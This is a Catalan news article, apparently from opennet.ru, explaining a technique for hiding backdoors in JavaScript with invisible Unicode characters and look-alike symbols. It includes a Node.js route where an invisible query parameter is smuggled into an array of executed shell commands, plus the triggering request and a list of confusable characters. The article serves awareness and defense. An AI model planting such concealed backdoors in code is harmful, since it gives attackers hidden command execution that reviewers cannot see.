Ús de caràcters Unicode invisibles per amagar accions al codi JavaScript

Seguint el mètode d'atac Font de Troia basat en l'ús de caràcters Unicode que canvien l'ordre de visualització del text bidireccional, s'ha publicat una altra tècnica per introduir accions ocultes, aplicable al codi JavaScript. El nou mètode es basa en l'ús del caràcter unicode "ㅤ" (codi 0x3164, "HANGUL FILLER"), que és una lletra però no té contingut visible. La categoria Unicode a la qual pertany aquest caràcter s'ha permesa des de l'especificació ECMAScript 2015 per utilitzar-la en noms de variables JavaScript, la qual cosa permet crear variables invisibles o noves variables indistinguibles d'altres variables en editors de codi populars com Notepad++ i VS Code.

A tall d'exemple, es dóna el codi de la plataforma Node.js, en el qual, utilitzant una variable que consta d'un sol caràcter "ㅤ", s'amaga una porta del darrere que permet executar el codi especificat per l'atacant: app.get( '/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // en realitat diu "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // coma seguida de \u3164 ];

A primera vista, només el valor del temps d'espera es passa a través del paràmetre extern i la matriu amb les ordres que cal executar conté una llista fixa inofensiva. Però, de fet, després de la variable de temps d'espera, s'assigna el valor d'una altra variable invisible amb el codi de símbol \u3164, que també es substitueix a la matriu d'ordres executables. Així, en presència d'aquesta estructura, un atacant pot enviar una sol·licitud com "https://host:8080/network_health?%E3%85%A4=command" per activar la porta posterior i executar el seu codi.

Com a altre exemple, es posa el caràcter "ǃ" (CLICK ALVEOLAR), que es pot utilitzar per donar l'aparença d'indicar un signe d'exclamació. Per exemple, l'expressió "if(environmentǃ=ENV_PROD){" quan s'executa a Node.js 14 sempre serà certa, perquè no verifica les diferències, sinó que estableix la variable "environmentǃ" en ENV_PROD. Els caràcters Unicode enganyosos inclouen "/", "−", "+", "⩵", "❨", "⫽", "꓿" i "∗".

Font: opennet.ru

Afegeix comentari